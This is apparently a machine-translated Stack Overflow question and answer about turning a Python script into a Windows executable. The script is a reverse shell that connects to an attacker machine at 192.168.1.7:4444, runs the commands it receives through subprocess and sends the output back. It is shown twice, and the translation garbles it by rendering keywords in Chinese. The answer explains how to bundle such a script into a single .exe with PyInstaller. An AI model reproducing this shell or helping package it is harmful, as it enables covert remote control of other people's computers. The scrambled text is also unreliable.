如何使python文件在windows上可执行?
#!/usr/bin/python 导入子流程 导入套接字 sock=socket.socket(socket.AF\u INET,socket.sock\u流) sock.connect(((“192.168.1.7”,4444))#第一个参数是您的kali linux机器的IP地址 尽管如此: command=sock.recv(2048) 如果命令==“q”: 打破 其他: proc=subprocess.Popen(命令,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE) 结果=proc.stdout.read()+proc.stderr.read() sock.send(结果)如何使python文件在windows上可执行?,python,windows,file,reverse-shell,Python,Windows,File,Reverse Shell,#!/usr/bin/python 导入子流程 导入套接字 sock=socket.socket(socket.AF\u INET,socket.sock\u流) sock.connect(((“192.168.1.7”,4444))#第一个参数是您的kali linux机器的IP地址 尽管如此: command=sock.recv(2048) 如果命令==“q”: 打破 其他: proc=subprocess.Popen(命令,shell=True,stdout=subprocess.PIPE
sock.close()我建议使用PyInstaller工具。你可以找到这些文件 我建议首先阅读 模块本身的文档 您还可以使用一些教程(例如Matt Borgerson的教程) 为了重述,您应该: 写下你的脚本,确保它能正常工作 从命令行运行: ~\py安装程序您的\u文件\u name.py 此命令将生成一个your_file_name.spec文件,您可以在其中包含应用程序和任何自定义 设置(使用等级库文件) 一旦决定了.exe应用程序中要包含的内容,就可以从命令行运行 ~\pyinstaller[option1][option2]您的\u文件\u name.py 您可以在文档中找到选项的完整列表 --onefile:创建一个单文件绑定的可执行文件 --windowed:在Mac OS X或Windows中编译时选择的参数 --图标=:选择要用作文件图标的文件
这回答了你的问题吗?您想创建一个独立的
.exe
文件,还是使用#以/script.py
的身份运行脚本/usr/bin/python
shebang何时在Linux/Mac上运行?